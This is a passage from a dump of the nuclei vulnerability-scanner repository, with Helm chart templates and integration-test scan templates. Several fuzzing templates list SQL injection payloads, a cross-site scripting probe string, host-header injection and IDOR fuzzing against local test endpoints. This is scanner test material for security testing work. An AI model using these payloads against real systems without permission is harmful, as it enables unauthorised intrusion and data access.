    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: {{ include \"nuclei.fullname\" . }}-interactsh\n  labels:\n    {{- include \"nuclei.labels\" . | nindent 4 }}\nspec:\n  {{- if not .Values.autoscaling.enabled }}\n  replicas: {{ .Values.replicaCount }}\n  {{- end }}\n  selector:\n    matchLabels:\n      {{- include \"nuclei.selectorLabels\" . | nindent 6 }}\n  template:\n    metadata:\n      {{- with .Values.podAnnotations }}\n      annotations:\n        {{- toYaml . | nindent 8 }}\n      {{- end }}\n      labels:\n        {{- include \"nuclei.selectorLabels\" . | nindent 8 }}\n    spec:\n      {{- with .Values.imagePullSecrets }}\n      imagePullSecrets:\n        {{- toYaml . | nindent 8 }}\n      {{- end }}\n      serviceAccountName: {{ include \"nuclei.serviceAccountName\" . }}\n      securityContext:\n        {{- toYaml .Values.podSecurityContext | nindent 8 }}\n      containers:\n        - name: {{ .Chart.Name }}-interactsh\n          securityContext:\n            {{- toYaml .Values.securityContext | nindent 12 }}\n          image: \"{{ .Values.interactsh.image.repository }}:{{ .Values.interactsh.image.tag | default .Chart.AppVersion }}\"\n          imagePullPolicy: {{ .Values.interactsh.image.pullPolicy }}\n          command: [\"interactsh-server\", \"-skip-acme\", \"-d\", \"{{ .Values.interactsh.service.name }}\"]\n          ports:\n            - name: http\n              containerPort: 80\n              protocol: TCP\n          livenessProbe:\n            httpGet:\n              path: /\n              port: http\n          readinessProbe:\n            httpGet:\n              path: /\n              port: http\n          resources:\n            {{- toYaml .Values.resources | nindent 12 }}\n      {{- with .Values.nodeSelector }}\n      nodeSelector:\n        {{- toYaml . | nindent 8 }}\n      {{- end }}\n      {{- with .Values.affinity }}\n      affinity:\n        {{- toYaml . | nindent 8 }}\n      {{- end }}\n      {{- with .Values.tolerations }}\n      tolerations:\n        {{- toYaml . | nindent 8 }}\n      {{- end }}\n"
  },
  {
    "path": "helm/templates/interactsh-ingress.yaml",
    "content": "{{- if .Values.interactsh.ingress.enabled -}}\n{{- $fullName := include \"nuclei.fullname\" . -}}\n{{- $svcPort := .Values.interactsh.service.port -}}\n{{- $svcName := .Values.interactsh.service.name -}}\n{{- if and .Values.interactsh.ingress.className (not (semverCompare \">=1.20-0\" .Capabilities.KubeVersion.GitVersion)) }}\n  {{- if not (hasKey .Values.interactsh.ingress.annotations \"kubernetes.io/ingress.class\") }}\n  {{- $_ := set .Values.interactsh.ingress.annotations \"kubernetes.io/ingress.class\" .Values.interactsh.ingress.className}}\n  {{- end }}\n{{- end }}\n{{- if semverCompare \">=1.20-0\" .Capabilities.KubeVersion.GitVersion -}}\napiVersion: networking.k8s.io/v1\n{{- else if semverCompare \">=1.14-0\" .Capabilities.KubeVersion.GitVersion -}}\napiVersion: networking.k8s.io/v1beta1\n{{- else -}}\napiVersion: extensions/v1beta1\n{{- end }}\nkind: Ingress\nmetadata:\n  name: {{ $fullName }}\n  labels:\n    {{- include \"nuclei.labels\" . | nindent 4 }}\n  {{- with .Values.interactsh.ingress.annotations }}\n  annotations:\n    {{- toYaml . | nindent 4 }}\n  {{- end }}\nspec:\n  {{- if and .Values.interactsh.ingress.className (semverCompare \">=1.20-0\" .Capabilities.KubeVersion.GitVersion) }}\n  ingressClassName: {{ .Values.interactsh.ingress.className }}\n  {{- end }}\n  {{- if .Values.interactsh.ingress.tls }}\n  tls:\n    {{- range .Values.interactsh.ingress.tls }}\n    - hosts:\n        {{- range .hosts }}\n        - {{ . | quote }}\n        {{- end }}\n      secretName: {{ .secretName }}\n    {{- end }}\n  {{- end }}\n  rules:\n    {{- range .Values.interactsh.ingress.hosts }}\n    - host: {{ .host | quote }}\n      http:\n        paths:\n          {{- range .paths }}\n          - path: {{ .path }}\n            {{- if and .pathType (semverCompare \">=1.20-0\" $.Capabilities.KubeVersion.GitVersion) }}\n            pathType: {{ .pathType }}\n            {{- end }}\n            backend:\n              {{- if semverCompare \">=1.20-0\" $.Capabilities.KubeVersion.GitVersion }}\n              service:\n                name: {{ $svcName }}\n                port:\n                  number: {{ $svcPort }}\n              {{- else }}\n              serviceName: {{ $svcName }}\n              servicePort: {{ $svcPort }}\n              {{- end }}\n          {{- end }}\n    {{- end }}\n{{- end }}\n"
  },
  {
    "path": "helm/templates/interactsh-service.yaml",
    "content": "apiVersion: v1\nkind: Service\nmetadata:\n  name: {{ .Values.interactsh.service.name }}\n  labels:\n    {{- include \"nuclei.labels\" . | nindent 4 }}\nspec:\n  type: {{ .Values.interactsh.service.type }}\n  ports:\n    - port: {{ .Values.interactsh.service.port }}\n      targetPort: http\n      protocol: TCP\n      name: http\n  selector:\n    {{- include \"nuclei.selectorLabels\" . | nindent 4 }}\n"
  },
  {
    "path": "helm/templates/nuclei-configmap.yaml",
    "content": "---\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: nuclei-conf\ndata:\n  nuclei.conf: |-\n{{ .Values.nuclei.config | indent 4 }}\n\n---\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: nuclei-target-list\ndata:\n  target-list.txt: |-\n{{ .Values.nuclei.target_list | indent 4 }}\n"
  },
  {
    "path": "helm/templates/nuclei-cron.yaml",
    "content": "{{- if .Values.nuclei.enabled -}}\napiVersion: batch/v1\nkind: CronJob\nmetadata:\n  name: {{ .Chart.Name }}-nuclei-cron\nspec:\n  schedule: \"{{ .Values.nuclei.cron }}\"\n  jobTemplate:\n    spec:\n      template:\n        spec:\n          containers:\n          - name: {{ .Chart.Name }}-nuclei-cron\n            image: \"{{ .Values.nuclei.image.repository }}:{{ .Values.nuclei.image.tag | default .Chart.AppVersion }}\"\n            imagePullPolicy: {{ .Values.nuclei.image.pullPolicy }}\n            command: [ \"nuclei\", \"-config\", \"/config/nuclei.conf\" ]\n            volumeMounts:\n              - name: nuclei-conf\n                mountPath: /config/nuclei.conf\n                subPath: nuclei.conf\n              - name: nuclei-target-list\n                mountPath: /config/target-list.txt\n                subPath: target-list.txt\n          restartPolicy: OnFailure\n          volumes:\n            - name: nuclei-conf\n              configMap:\n                name: nuclei-conf\n            - name: nuclei-target-list\n              configMap:\n                name: nuclei-target-list\n{{- end }}\n"
  },
  {
    "path": "helm/templates/serviceaccount.yaml",
    "content": "{{- if .Values.serviceAccount.create -}}\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: {{ include \"nuclei.serviceAccountName\" . }}\n  labels:\n    {{- include \"nuclei.labels\" . | nindent 4 }}\n  {{- with .Values.serviceAccount.annotations }}\n  annotations:\n    {{- toYaml . | nindent 4 }}\n  {{- end }}\n{{- end }}\n"
  },
  {
    "path": "helm/values.yaml",
    "content": "# Default values for nuclei.\n# This is a YAML-formatted file.\n# Declare variables to be passed into your templates.\n\nreplicaCount: 1\n\nnuclei:\n  enabled: true\n  image:\n    repository: docker.io/projectdiscovery/nuclei\n    pullPolicy: IfNotPresent\n    tag: \"v2.7.5\"\n\n  imagePullSecrets: []\n  nameOverride: \"\"\n  fullnameOverride: \"\"\n  cron: \"0 0 * * Sun\"\n  \n  config: |\n    interactsh-server: http://nuclei-interactsh # should match the name of interactsh.service.name \n    list: /config/target-list.txt \n    # Headers to include with all HTTP request\n    #header:\n    #  - 'X-BugBounty-Hacker: h1/geekboy'\n    \n    # Directory based template execution\n    #templates:\n    #  - cves/\n    #  - vulnerabilities/\n    #  - misconfiguration/\n    \n    # Tags based template execution\n    #tags: exposures,cve\n    \n    # Template Filters\n    #tags: exposures,cve\n    #author: geeknik,pikpikcu,dhiyaneshdk\n    #severity: critical,high,medium\n    \n    # Template Allowlist\n    #include-tags: dos,fuzz # Tag based inclusion (allows overwriting nuclei-ignore list)\n    #include-templates: # Template based inclusion (allows overwriting nuclei-ignore list)\n      #- vulnerabilities/xxx\n      #- misconfiguration/xxxx\n    \n    # Template Denylist\n    #exclude-tags: info # Tag based exclusion\n    #exclude-templates: # Template based exclusion\n      #- vulnerabilities/xxx\n      #- misconfiguration/xxxx\n    \n    # Rate Limit configuration\n    #rate-limit: 500\n    #bulk-size: 50\n    #concurrency: 50\n \n  target_list: |\n    https://10.50.50.2\n\ninteractsh:\n  image:\n    repository: docker.io/projectdiscovery/interactsh-server\n    pullPolicy: IfNotPresent\n    tag: \"v1.0.6\"\n\n  service:\n    name: \"nuclei-interactsh\"\n    type: ClusterIP\n    port: 80\n  \n  ingress:\n    enabled: false\n    className: \"\"\n    annotations: {}\n      # kubernetes.io/ingress.class: nginx\n      # kubernetes.io/tls-acme: \"true\"\n    hosts:\n      - host: chart-example.local\n        paths:\n          - path: /\n            pathType: ImplementationSpecific\n    tls: []\n    #  - secretName: chart-example-tls\n    #    hosts:\n    #      - chart-example.local\n\nserviceAccount:\n  create: true\n  annotations: {}\n  name: \"\"\n\npodAnnotations: {}\n\npodSecurityContext: {}\n\nsecurityContext: {}\n\nresources: {}\n  # We usually recommend not to specify default resources and to leave this as a conscious\n  # choice for the user. This also increases chances charts run on environments with little\n  # resources, such as Minikube. If you do want to specify resources, uncomment the following\n  # lines, adjust them as necessary, and remove the curly braces after 'resources:'.\n  # limits:\n  #   cpu: 100m\n  #   memory: 128Mi\n  # requests:\n  #   cpu: 100m\n  #   memory: 128Mi\n\nautoscaling:\n  enabled: false\n  minReplicas: 1\n  maxReplicas: 100\n  targetCPUUtilizationPercentage: 80\n  # targetMemoryUtilizationPercentage: 80\n\nnodeSelector: {}\n\ntolerations: []\n\naffinity: {}\n"
  },
  {
    "path": "integration_tests/debug.sh",
    "content": "#!/bin/bash\n\nif [ $1 = \"-h\" ]; then\n echo \"Help for ./debug.sh\"\n printf \"\\n1. To run all integration tests of 'x' protocol:\\n\"\n printf \" \\$ ./debug.sh http\\n\\n\"\n printf \"2. To run all integration tests of 'x' protocol that contains 'y' in template name:\\n\"\n printf \" \\$ ./debug.sh http self\\n\\n\"\n printf \"3. To run all integration tests of 'x' protocol that contains 'y' in template name and pass extra args to nuclei:\\n\"\n printf \" \\$ ./debug.sh http self -svd -debug-req\\n\\n\"\n printf \"nuclei binary is created every time script is run but integration-test binary is not\"\n exit 0\nfi\n\n# Stop execution if race condition is found\nexport GORACE=\"halt_on_error=1\"\n\necho \"::group::Build nuclei\"\nrm nuclei 2>/dev/null\ncd ../cmd/nuclei\ngo build -race .\nmv nuclei ../../integration_tests/nuclei \necho -e \"::endgroup::\\n\"\ncd ../../integration_tests\ncmdstring=\"\"\n\nif [ -n \"$1\" ]; then\n cmdstring+=\" -protocol $1 \"\nfi\n\nif [ -n \"$2\" ]; then\n cmdstring+=\" -template $2 \"\nfi\n\n# Parse any extra args that are directly passed to nuclei\nif [ -n $debugArgs ]; then\n export DebugExtraArgs=\"${@:3}\"\nfi\n\necho \"$DebugExtraArgs\"\n\necho -e \"::group::Run Integration Test\\n\"\n./integration-test $cmdstring\n\nif [ $? -eq 0 ]\nthen\n  echo -e \"::endgroup::\\n\"\n  exit 0\nelse\n  exit 1\nfi\n"
  },
  {
    "path": "integration_tests/dsl/hide-version-warning.yaml",
    "content": "id: basic-example\n\ninfo:\n  name: Test HTTP Template\n  author: pdteam\n  severity: info\n  reference: |\n    test case for default behaviour of version warning (dsl parsing error)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - compare_versions(\"GG\", '< 4.8.5')"
  },
  {
    "path": "integration_tests/dsl/show-version-warning.yaml",
    "content": "id: basic-example\n\ninfo:\n  name: Test HTTP Template\n  author: pdteam\n  severity: info\n  reference: |\n    test case where version warning is shown when env `SHOW_DSL_ERRORS=true` is set\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - compare_versions(\"GG\", '< 4.8.5')"
  },
  {
    "path": "integration_tests/flow/conditional-flow-negative.yaml",
    "content": "id: ghost-blog-detection\ninfo:\n  name: Ghost blog detection\n  author: pdteam\n  severity: info\n\n\nflow: dns() && http()\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: CNAME\n\n    matchers:\n      - type: word\n        words:\n          - \"ghost.io\"\n        internal: true\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: word\n        words:\n          - \"ghost.io\""
  },
  {
    "path": "integration_tests/flow/conditional-flow.yaml",
    "content": "id: ghost-blog-detection\ninfo:\n  name: Ghost blog detection\n  author: pdteam\n  severity: info\n\n\nflow: dns() && http()\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: CNAME\n\n    matchers:\n      - type: word\n        words:\n          - \".vercel-dns.com\"\n        internal: true\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: word\n        words:\n          - \"html>\""
  },
  {
    "path": "integration_tests/flow/dns-ns-probe.yaml",
    "content": "id: dns-ns-probe\n\ninfo:\n  name: Nuclei flow dns ns probe\n  author: pdteam\n  severity: info\n  description: Description of the Template\n  reference: https://example-reference-link\n\nflow: |\n  dns(\"fetch-ns\");\n  for(let ns of template[\"nameservers\"]) {\n    set(\"nameserver\",ns);\n    dns(\"probe-ns\");\n  };\n\ndns:\n  - id: \"fetch-ns\"\n    name: \"{{FQDN}}\"\n    type: NS\n    matchers:\n      - type: word\n        words:\n          - \"IN\\tNS\"\n        internal: true\n    extractors:\n      - type: regex\n        internal: true\n        name: \"nameservers\"\n        group: 1\n        regex:\n          - \"IN\\tNS\\t(.+)\"\n\n  - id: \"probe-ns\"\n    name: \"{{nameserver}}\"\n    type: A\n    class: inet\n    retries: 3\n    recursion: true\n    extractors:\n      - type: dsl\n        dsl:\n          - \"a\""
  },
  {
    "path": "integration_tests/flow/flow-hide-matcher.yaml",
    "content": "id: flow-hide-matcher\n\ninfo:\n  name: Test Flow Hide Matcher\n  author: pdteam\n  severity: info\n  description: In Template any matcher can be marked as internal which hides it from the output.\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: word\n        words:\n          - ok\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: word\n        words:\n          - \"Failed event\""
  },
  {
    "path": "integration_tests/flow/iterate-one-value-flow.yaml",
    "content": "id: flow-iterate-one-value-flow\n\ninfo:\n  name: Test Flow Iterate One Value Flow\n  author: pdteam\n  severity: info\n  description: |\n    If length of template.extracted variable is not know, i.e it could be an array of 1 or more values, then iterate function \n    should be used to iterate over values because nuclei by default converts array to string if it has only 1 value.\n\nflow: |\n  http(1)\n  for(let value of iterate(template.extracted)){\n    set(\"value\", value)\n    http(2)\n  }\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    extractors:\n      - type: regex\n        name: extracted\n        internal: true\n        regex:\n          - \"[ok]+\"\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/{{value}}\"\n\n    matchers:\n      - type: word\n        words:\n          - \"ok\""
  },
  {
    "path": "integration_tests/flow/iterate-values-flow.yaml",
    "content": "id: extract-emails\n\ninfo:\n  name: Extract Email IDs from Response\n  author: pdteam\n  severity: info\n\n\nflow: |\n  http(1)\n  for(let email of template[\"emails\"]) {\n    set(\"email\",email);\n    http(2);\n  }\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    extractors:\n      - type: regex\n        name: emails\n        regex:\n          - '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/user/{{base64(email)}}\"\n  \n    matchers:\n      - type: word\n        words:\n          - \"Welcome\"\n    \n    extractors:\n      - type: dsl\n        name: email\n        dsl:\n          - email"
  },
  {
    "path": "integration_tests/fuzz/fuzz-body-generic-sqli.yaml",
    "content": "id: fuzz-body-generic\n\ninfo:\n  name: fuzzing error sqli payloads in http req body\n  author: pdteam\n  severity: info\n  description: |\n    This template attempts to find SQL injection vulnerabilities by fuzzing http body\n    It automatically handles and parses json,xml,multipart form and x-www-form-urlencoded data\n    and performs fuzzing on the value of every key\n\nhttp:\n  - pre-condition:\n      - type: dsl\n        dsl:\n          - method != \"GET\"\n          - method != \"HEAD\"\n          - contains(path, \"/user\") # for scope of integration test\n        condition: and\n    \n    payloads:\n      injection:\n        - \"'\"\n        - \"\\\"\"\n        - \";\"\n    \n    fuzzing:\n      - part: body\n        type: postfix\n        mode: single\n        fuzz:\n          - '{{injection}}'\n  \n    stop-at-first-match: true\n    matchers:\n      - type: word\n        words:\n          - \"unrecognized token:\"\n          - \"null\"\n"
  },
  {
    "path": "integration_tests/fuzz/fuzz-body-json-sqli.yaml",
    "content": "id: json-body-error-sqli\n\ninfo:\n  name: fuzzing error sqli payloads in json body\n  author: pdteam\n  severity: info\n  description: |\n    This template attempts to find SQL injection vulnerabilities by fuzzing http body of json type.\n    This is achieved by performing [ruleType](example: postfix) on value of json key\n    Note: this is example template, and payloads/matchers need to be modified appropriately.\n\nhttp:\n  - pre-condition:\n      - type: dsl\n        dsl:\n          - method != \"GET\"\n          - method != \"HEAD\"\n          - contains(content_type, \"application/json\")\n          - contains(path, \"/user\") # for scope of integration test\n        condition: and\n    \n    payloads:\n      injection:\n        - \"'\"\n        - \"\\\"\"\n        - \";\"\n    \n    fuzzing:\n      - part: body\n        type: postfix\n        mode: single\n        fuzz:\n          - '{{injection}}'\n  \n    stop-at-first-match: true\n    matchers:\n      - type: word\n        words:\n          - \"unrecognized token:\"\n          - \"null\"\n"
  },
  {
    "path": "integration_tests/fuzz/fuzz-body-multipart-form-sqli.yaml",
    "content": "id: body-multipart-error-sqli\n\ninfo:\n  name: fuzzing error sqli payloads in body of multipart form data\n  author: pdteam\n  severity: info\n  description: |\n    This template attempts to find SQL injection vulnerabilities by fuzzing http body of multipart form data (file upload, etc.)\n    This is achieved by performing [ruleType](example: postfix) on value of body form key\n    Note: this is example template, and payloads/matchers need to be modified appropriately.\n\nhttp:\n  - pre-condition:\n      - type: dsl\n        dsl:\n          - method != \"GET\"\n          - method != \"HEAD\"\n          - contains(content_type, \"multipart/form-data\")\n          - contains(path, \"/user\") # for scope of integration test\n        condition: and\n    \n    payloads:\n      injection:\n        - \"'\"\n        - \"\\\"\"\n        - \";\"\n    \n    fuzzing:\n      - part: body\n        type: postfix\n        mode: single\n        fuzz:\n          - '{{injection}}'\n  \n    stop-at-first-match: true\n    matchers:\n      - type: word\n        words:\n          - \"unrecognized token:\"\n          - \"null\"\n          - \"SELECTs to the left and right of UNION do not have the same number of result columns\"\n"
  },
  {
    "path": "integration_tests/fuzz/fuzz-body-params-sqli.yaml",
    "content": "id: body-params-error-sqli\n\ninfo:\n  name: fuzzing error sqli payloads in body with params\n  author: pdteam\n  severity: info\n  description: |\n    This template attempts to find SQL injection vulnerabilities by fuzzing http body of x-www-form-urlencoded data\n    This is achieved by performing [ruleType](example: postfix) on value of body key\n    Note: this is example template, and payloads/matchers need to be modified appropriately.\n\nhttp:\n  - pre-condition:\n      - type: dsl\n        dsl:\n          - method != \"GET\"\n          - method != \"HEAD\"\n          - contains(content_type, \"application/x-www-form-urlencoded\")\n          - contains(path, \"/user\") # for scope of integration test\n        condition: and\n    \n    payloads:\n      injection:\n        - \"'\"\n        - \"\\\"\"\n        - \";\"\n    \n    fuzzing:\n      - part: body\n        type: postfix\n        mode: single\n        fuzz:\n          - '{{injection}}'\n  \n    stop-at-first-match: true\n    matchers:\n      - type: word\n        words:\n          - \"unrecognized token:\"\n          - \"null\"\n          - \"SELECTs to the left and right of UNION do not have the same number of result columns\"\n"
  },
  {
    "path": "integration_tests/fuzz/fuzz-body-xml-sqli.yaml",
    "content": "id: xml-body-error-sqli\n\ninfo:\n  name: fuzzing error sqli payloads in xml body\n  author: pdteam\n  severity: info\n  description: |\n    This template attempts to find SQL injection vulnerabilities by fuzzing http body of xml type.\n    This is achieved by performing [ruleType](example: postfix) on value of xml key\n    Note: this is example template, and payloads/matchers need to be modified appropriately.\n\nhttp:\n  - pre-condition:\n      - type: dsl\n        dsl:\n          - method != \"GET\"\n          - method != \"HEAD\"\n          - contains(content_type, \"application/xml\")\n          - contains(path, \"/user\") # for scope of integration test\n        condition: and\n    \n    payloads:\n      injection:\n        - \"'\"\n        - \"\\\"\"\n        - \";\"\n    \n    fuzzing:\n      - part: body\n        type: postfix\n        mode: single\n        fuzz:\n          - '{{injection}}'\n  \n    stop-at-first-match: true\n    matchers:\n      - type: word\n        words:\n          - \"unrecognized token:\"\n          - \"null\"\n"
  },
  {
    "path": "integration_tests/fuzz/fuzz-body.yaml",
    "content": "id: fuzz-body\n\ninfo:\n  name: fuzzing error sqli payloads in http req body\n  author: pdteam\n  severity: info\n  description: |\n    This template attempts to find SQL injection vulnerabilities by fuzzing http body\n    It automatically handles and parses json,xml,multipart form and x-www-form-urlencoded data\n    and performs fuzzing on the value of every key\n\nhttp:\n  - pre-condition:\n      - type: dsl\n        dsl:\n          - method != \"GET\"\n          - method != \"HEAD\"\n        condition: and\n    \n    payloads:\n      injection:\n        - \"'\"\n        - \"\\\"\"\n        - \";\"\n    \n    fuzzing:\n      - part: body\n        type: postfix\n        mode: single\n        fuzz:\n          - '{{injection}}'\n  \n    stop-at-first-match: true\n    matchers:\n      - type: word\n        words:\n          - \"unrecognized token:\"\n          - \"null\"\n"
  },
  {
    "path": "integration_tests/fuzz/fuzz-cookie-error-sqli.yaml",
    "content": "id: cookie-fuzzing-error-sqli\n\ninfo:\n  name: fuzzing error sqli payloads in cookie\n  author: pdteam\n  severity: info\n  description: |\n    This template attempts to find SQL injection vulnerabilities by fuzzing http cookies with SQL injection payloads.\n    Note: this is example template, and payloads/matchers need to be modified appropriately.\n\nhttp:\n  - pre-condition:\n      - type: dsl\n        dsl:\n          - 'method == \"GET\"'\n          -  len(cookie) > 0\n        condition: and\n    \n    payloads:\n      sqli:\n        - \"'\"\n        - ''\n        - '`'\n        - '``'\n        - ','\n        - '\"'\n        - \"\"\n        - /\n        - //\n        - \\\n        - \\\\\n        - ;\n        - -- or # \n        - '\" OR 1 = 1 -- -'\n        - ' OR '' = '\n        - '='\n        - 'LIKE'\n        - \"'=0--+\"\n        -  OR 1=1\n        - \"' OR 'x'='x\"\n        - \"' AND id IS NULL; --\"\n        - \"'''''''''''''UNION SELECT '2\"\n        - '%00'\n    \n    fuzzing:\n      - part: cookie\n        type: postfix\n        mode: single\n        fuzz:\n          - '{{sqli}}'\n  \n    stop-at-first-match: true\n    matchers:\n      - type: word\n        words:\n          - \"unrecognized token:\"\n          - \"syntax error\"\n          - \"null\"\n          - \"SELECTs to the left and right of UNION do not have the same number of result columns\"\n"
  },
  {
    "path": "integration_tests/fuzz/fuzz-headless.yaml",
    "content": "id: headless-query-fuzzing\n\ninfo:\n  name: Example Query Fuzzing\n  author: pdteam\n  severity: info\n\nheadless:\n  - steps:\n      - action: navigate\n        args:\n          url: \"{{BaseURL}}\"\n      - action: waitload\n\n    payloads:\n      redirect:\n        - \"blog.com\"\n        - \"portal.com\"\n\n    fuzzing:\n      - part: query\n        mode: single\n        type: replace\n        fuzz:\n          - \"https://{{redirect}}\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{redirect}}\"\n"
  },
  {
    "path": "integration_tests/fuzz/fuzz-host-header-injection.yaml",
    "content": "id: host-header-injection\n\ninfo:\n  name: Host Header Injection\n  author: pdteam\n  severity: info\n  description: Host header injection\n\nvariables:\n  domain: \"oast.fun\"\n\nhttp:\n  - pre-condition:\n      - type: dsl\n        dsl:\n          - 'method == \"GET\"'\n          - 'contains(path,\"/host-header-lab\")' # for integration testing only\n        condition: and\n    \n    fuzzing:\n      - part: header\n        type: replace\n        mode: single\n        fuzz:\n          X-Forwarded-For: \"{{domain}}\"\n          X-Forwarded-Host: \"{{domain}}\"\n          Forwarded: \"{{domain}}\"\n          X-Real-IP: \"{{domain}}\"\n          X-Original-URL: \"{{domain}}\"\n          X-Rewrite-URL: \"{{domain}}\"\n          Host: \"{{domain}}\"\n          # \" Host\": \"{{domain}}\" # space before host (not supported yet due to lack of unsafe mode)\n\n    matchers:\n      - type: status\n        status: \n          - 200\n\n      - type: word\n        part: body\n        words:\n          - \"Interactsh\"\n    matchers-condition: and"
  },
  {
    "path": "integration_tests/fuzz/fuzz-mode.yaml",
    "content": "id: fuzz-query\n\ninfo:\n  name: Basic Fuzz URL Query\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    fuzzing:\n      - part: query\n        type: postfix\n        mode: multiple\n        keys: [\"id\",\"name\"] \n        fuzz: [\"fuzz-word\"]\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"fuzz-word\"\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n"
  },
  {
    "path": "integration_tests/fuzz/fuzz-multi-mode.yaml",
    "content": "id: fuzz-multi-mode-test\n\ninfo:\n  name: multi-mode fuzzing test\n  author: pdteam\n  severity: info\n\nhttp:\n  - payloads:\n      inject:\n        - nuclei-v1\n        - nuclei-v2\n        - nuclei-v3\n\n    fuzzing:\n      - part: header\n        type: replace\n        mode: multiple\n        fuzz:\n          X-Client-Id: \"{{inject}}\"\n          X-Secret-Id: \"{{inject}}\"\n          \n    matchers-condition: or\n    matchers:\n      - type: word\n        words:\n          - \"nuclei-v3\""
  },
  {
    "path": "integration_tests/fuzz/fuzz-path-sqli.yaml",
    "content": "id: path-based-sqli\n\ninfo:\n  name: Path Based SQLi\n  author: pdteam\n  severity: info\n  description: |\n    This template attempts to find SQL injection vulnerabilities on path based sqli and replacing numerical values with fuzzing payloads.\n    ex: /admin/user/55/profile , /user/15/action/update, /posts/15, /blog/100/data, /page/51/ etc these types of paths are filtered and\n    replaced with sqli path payloads.\n    Note: this is example template, and payloads/matchers need to be modified appropriately.\n\nhttp:\n  - pre-condition:\n      - type: dsl\n        dsl:\n          - 'method == \"GET\"'\n        condition: and\n    \n    payloads:\n      pathsqli:\n        - '%20OR%20True'\n    \n    fuzzing:\n      - part: path\n        type: postfix\n        mode: single\n        fuzz:\n          - '{{pathsqli}}'\n\n    matchers:\n      - type: status\n        status: \n          - 200   \n\n      - type: word\n        words:\n          - \"admin\"   \n    matchers-condition: and"
  },
  {
    "path": "integration_tests/fuzz/fuzz-query-num-replace.yaml",
    "content": "id: fuzz-query-num\n\ninfo:\n  name: Fuzz Query Param For IDOR\n  author: pdteam\n  severity: info\n  description: Query Value Fuzzing using Fuzzing Rules\n\nhttp:\n  - pre-condition:\n      - type: dsl\n        dsl:\n          - 'len(query) > 0'\n    # below filter is related to integration testing \n      - type: word\n        part: path\n        words:\n          - /blog/post\n    pre-condition-operator: and\n\n    payloads:\n      nums:\n        - 200\n        - 201\n    \n    fuzzing:\n      - part: query\n        type: replace\n        mode: multiple\n        values: \n          - \"^[0-9]+$\" # only if value is number\n        fuzz:\n          - '{{nums}}'\n\n    matchers:\n      - type: status\n        status: \n          - 200      \n    \n"
  },
  {
    "path": "integration_tests/fuzz/fuzz-query.yaml",
    "content": "id: fuzz-query\n\ninfo:\n  name: Basic Fuzz URL Query\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    fuzzing:\n      - part: query\n        type: postfix\n        mode: single\n        keys: [\"id\"] \n        fuzz: [\"6842'\\\"><\"]\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"6842'\\\"><\"\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n"
  },
  {
    "path": "integration_tests/fuzz/fuzz-type.yaml",
    "content": "id: fuzz-type\n\ninfo:\n  name: Basic Fuzz URL Query\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    fuzzing:\n      - part: query\n        type: postfix\n        mode: single\n        keys: [\"id\"] \n        fuzz: [\"fuzz-word\"]\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"fuzz-word\"\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n"
  },
  {
    "path": "integration_tests/fuzz/testData/ginandjuice.proxify.yaml",
    "content": "timestamp: 2024-02-20T19:24:13+05:30\nurl: http://127.0.0.1:8082/blog/post?postId=3&source=proxify\nrequest:\n  header:\n    Accept-Encoding: gzip\n    Connection: close\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n    host: 127.0.0.1:8082\n    method: GET\n    path: /blog/post\n    scheme: https\n  raw: |+\n    GET /blog/post?postId=3&source=proxify HTTP/1.1\n    Host: 127.0.0.1:8082\n    Accept-Encoding: gzip\n    Connection: close\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n\nresponse:\n  header:\n    Content-Encoding: gzip\n    Content-Type: text/html; charset=utf-8\n    Date: Tue, 20 Feb 2024 13:54:13 GMT\n    Set-Cookie: AWSALB=9l3X2bRs5JVQp5cO8o7xLckrdo3FZIQzbS0ga0n4ctfDApb/nn0K6AiSLLAMbG7CCDHqKOj9kQdyj6T2RzBDULszJ+2Oy8KcyuOKhFsCGVTVabnJTkVwhyXLciFt; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/, AWSALBCORS=9l3X2bRs5JVQp5cO8o7xLckrdo3FZIQzbS0ga0n4ctfDApb/nn0K6AiSLLAMbG7CCDHqKOj9kQdyj6T2RzBDULszJ+2Oy8KcyuOKhFsCGVTVabnJTkVwhyXLciFt; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/; SameSite=None; Secure, 